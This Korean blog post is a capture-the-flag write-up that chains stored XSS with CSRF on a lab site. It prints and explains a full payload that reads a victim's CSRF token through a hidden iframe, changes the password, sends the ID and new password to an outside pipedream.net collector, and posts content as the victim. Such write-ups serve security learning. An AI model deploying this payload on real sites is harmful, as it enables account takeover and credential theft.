Normaltic CTF - CSRF 3번 시나리오 모의해킹

심야·2023년 7월 13일
0
post-thumbnail

취약점 설명

CSRF 공격이란 피해자 세션을 사용해 피해자 의도와 상관없이 서버로 위조된 요청을 보내는 공격이다. 게시판, 메일함과 같이 로그인 해야만 사용 가능한 서비스에서 발생하는 취약점으로 모든 요청에서 발생한다. 하지만 비밀번호 변경, 이메일 주소 변경, 관리자 계정 등록, 계정 삭제, 글 작성, 수정 등과 같은 민감한 요청에서 더욱 취약하다.

개념 증명

CSRF 공격을 이용해 피해자 의도와 상관없이 비밀번호를 변경하고 피해자 계정으로 글을 작성하겠다. 그리고 해당 취약점에 대한 개념 증명을 위해 Burpsuite Proxy 모드의 Intercept, HTTP History, Repeater 기능으로 CSRF 공격을 진행하였다.

취약점 확인

우선 취약점 발생 여부를 확인하기 위해 마이페이지에서 test 비밀번호를 입력 후 수정을 진행하였다. Burpsuite HTTP history 탭에서 Request 확인 결과, 비밀번호와 CSRF Token이 서버로 전달된다.

CSRF Token으로 방어하고 있지만 XSS 공격과 CSRF 공격을 연계하면 우회할 수 있다.

CSRF Token

웹 서버에서 기능을 수행하기 위한 페이지에 추측할 수 없는 길이의 CSRF Token을 발급한다. CSRF Token은 같은 오리진에서만 접근 가능한 형태로 특정 Token을 저장해두고, HTTP 요청을 전송할 때 함께 전송한다. 웹 서버는 전송된 Token을 이용하여 제삼자가 아닌 이용자로부터 요청이 왔다는 것을 인증할 수 있다. CSRF Token 값은 보통 HTML form 태그의 hidden 속성에 입력되거나, 동적 요청에서도 사용될 수 있다.

XSS 취약점 확인

XSS 공격으로 Token을 탈취해 CSRF 공격을 시도하면 CSRF Token을 이용한 방어 기법을 우회할 수 있다. XSS 취약점이 있는지 확인하기 위해 그림과 같이 XSS <script> alert(1) </script> 페이로드를 삽입하였다.

악성 스크립트가 삽입된 글을 읽고 Burpsuite HTTP history 탭에서 응답 데이터를 확인한 결과, 그림과 같이 XSS 취약점이 존재한다.

따라서 게시판 페이지에서 XSS 취약점과 CSRF 취약점을 연계해 공격을 시도하겠다.

소스 코드 파악

CSRF 공격을 시도하기 앞서 마이페이지 소스 코드를 파악하겠다. 앞서 확인했듯이 mypage_update.php 액션 페이지에 POST 메소드를 이용해 입력 받은 데이터를 전달하며 CSRF Token은 hidden 속성을 사용해 숨기고 있다.

<form method="post" action="mypage_update.php">
    <div class="hori">
        <i class="far fa-user fa-2x"></i>
        <input name="id" type="text" placeholder="sandworm"/>
    </div>
    <div class="hori">
        <i class="fas fa-birthday-cake fa-2x"></i>
        <input name="info" type="text" placeholder="Nothing Here..."/>
    </div>
    <div class="hori">
        <i class="fas fa-lock fa-2x"></i>
        <input name="pw" type="password" placeholder="변경할 비밀번호"/>
        <input type="hidden" name="csrf_token" value="b1e89c861938aad0b1ae03c8c94e6529">
    </div>
    <div class="hori">
        <input type="submit" value="Update" id="signup-btnl"/>
    </div>
</form>

시나리오 모의 해킹

공격 대상 서버를 파악했으니 공격을 시작하겠다. 공격 과정은 아래와 같다.

  1. CSRF Token을 탈취해 피해자 계정의 비밀번호를 변경한다.
  2. 피해자 아이디 정보를 탈취해 아이디와 변경한 비밀번호 정보를 공격자 서버로 전송한다.
  3. 피해자 계정으로 악성 게시물을 작성해 악성코드 감염, 피싱 사이트 이동과 같은 추가 공격을 시도할 수 있다.

CSRF 취약점 확인

XSS와 CSRF 공격이 가능한 악성 스크립트를 삽입해 글을 작성하였다.

문제 없이 글을 업로드 하였다.

글을 읽었지만 피해자 입장에서는 어떤 일도 일어나지 않아 해킹을 당했다고 인지하기 힘들다.

Burpsuite HTTP history 탭으로 공격 과정을 살펴보겠다. 우선 피해자의 비밀번호는 0000 이었지만 피해자 의도와 상관없이 비밀번호가 변경되었다. 그리고 CSRF Token으로 CSRF 공격을 방어하고 있지만 토큰을 탈취해 우회할 수 있다.

비밀번호 변경 후 피해자 계정 정보를 공격자 서버로 전송한다.

피해자 계정으로 글을 작성한다. 본 글에서는 개념 증명을 위해 콘솔에 “CSRF 공격으로 악성 게시물 업로드” 문자열을 출력했으나 탈취한 계정으로 드라이브 바이 다운로드, 피싱 사이트 접속, 사칭 등 2차, 3차 범죄가 가능하다.

취약점 원리

공격 페이로드

전체 코드는 아래와 같고 공격 원리를 설명하겠다.

<iframe src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" name="getcsrftoken" id="getcsrftoken" onload="exploit()" frameborder="0" width="0" height="0" style="visibility: hidden"> </iframe>
<iframe name="writeframe" id="writeframe" frameborder="0" width="0" height="0" style="display: none" sandbox="allow-scripts"></iframe>
<form action="http://ctf.segfaulthub.com:7777/csrf_3/notice_write_process.php" method="post" target="writeframe">
    <input name="create_title" type="hidden" value="범죄도시3 티켓 판매합니다." />
    <input name="create_body" type="hidden" value="<script>console.log('CSRF 공격으로 악성 게시물 업로드')</script>" />
</form>

<script>
    async function exploit() {
        try {
            let iframe = document.getElementById("getcsrftoken");
            let csrf_token = iframe.contentWindow.document.forms[0].csrf_token.value;
            let victimID = iframe.contentWindow.document.forms[0].id.placeholder;
            let updateForm = new FormData();
            updateForm.append("pw", "attacker");
            updateForm.append("csrf_token", csrf_token);
            let response = await fetch("http://ctf.segfaulthub.com:7777/csrf_3/mypage_update.php", {
                method: "POST",
                body: updateForm,
            });
            if (response.ok) {
                let victimPW = updateForm.get("pw");
                await fetch("https://eodhhttu9beaqkb.m.pipedream.net", {
                    method: "POST",
                    body: new URLSearchParams({ victimID, victimPW }),
                });

                document.forms[0].submit();
            }
        } catch (error) {
            let err = error.toString();
            let attackerUrl = "https://eodhhttu9beaqkb.m.pipedream.net?error=" + err;
            await fetch(attackerUrl);
        }
    }
</script>

CSRF Token 탈취

<iframe src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" name="getcsrftoken" id="getcsrftoken" onload="exploit()" frameborder="0" width="0" height="0" style="visibility: hidden">
</iframe>

우선 iframe 태그에 frameborder="0" width="0" height="0" style="visibility: hidden" 속성을 부여해 숨긴다. 글을 읽은 피해자의 세션으로 mypage.php 를 요청한다. 요청한 mypage.php 는 글을 읽은 피해자의 개인정보와 CSRF Token이 존재한다. 페이지가 로드되면 onload="exploit()" 이벤트 핸들러가 발동해 exploit() 함수를 호출한다.

exploit()

getcsrftoken id 속성으로 iframe DOM 객체를 가져온다. 이후 첫 번째 form 태그의 csrf_token 값을 변수에 담는다.

async function exploit() {
		try {
			    let iframe = document.getElementById("getcsrftoken");
          let csrf_token = iframe.contentWindow.document.forms[0].csrf_token.value;
...

비밀번호 변경

비밀번호 변경에 앞서 첫 번째 form 태그의 placeholder 값, 즉 피해자 아이디 문자열을 victimID 변수에 담는다. form 객체를 생성해 pw, csrf_token 파라미터에 변경할 비밀번호와 탈취한 토큰을 담는다. fetch() 함수로 비밀번호 변경을 시도한다.

let victimID = iframe.contentWindow.document.forms[0].id.placeholder;
let updateForm = new FormData();
updateForm.append("pw", "attacker");
updateForm.append("csrf_token", csrf_token);
let response = await fetch("http://ctf.segfaulthub.com:7777/csrf_3/mypage_update.php", {
    method: "POST",
    body: updateForm,
});

피해자 정보 전달

변경이 완료되면 공격자 서버로 피해자 계정 정보를 전달한다.

if (response.ok) {
	let victimPW = updateForm.get("pw");
  await fetch("https://eodhhttu9beaqkb.m.pipedream.net", {
	  method: "POST",
    body: new URLSearchParams({ victimID, victimPW }),
	});

악성 게시물 업로드

피해자 정보가 공격자 서버로 전송되면 악성 게시물을 작성하기 위한 Form을 제출한다.

if (response.ok) {
	let victimPW = updateForm.get("pw");
  await fetch("https://eodhhttu9beaqkb.m.pipedream.net", {
	  method: "POST",
    body: new URLSearchParams({ victimID, victimPW }),
  });
	 document.forms[0].submit();
}

Form 태그에는 공격 페이로드가 포함되며 notice_write_process.php 에 글쓰기를 요청하는데 create_title 및 create_body 매개변수가 포함된다. 글쓰기가 완료되면 form 태그에 지정된 대상 Frame으로 응답값을 보낸다.

<iframe name="writeframe" id="writeframe" frameborder="0" width="0" height="0" style="display: none" sandbox="allow-scripts"></iframe>
<form action="http://ctf.segfaulthub.com:7777/csrf_3/notice_write_process.php" method="post" target="writeframe">
    <input name="create_title" type="hidden" value="범죄도시3 티켓 판매합니다." />
    <input name="create_body" type="hidden" value="<script>console.log('CSRF 공격으로 악성 게시물 업로드')</script>" />
</form>
profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글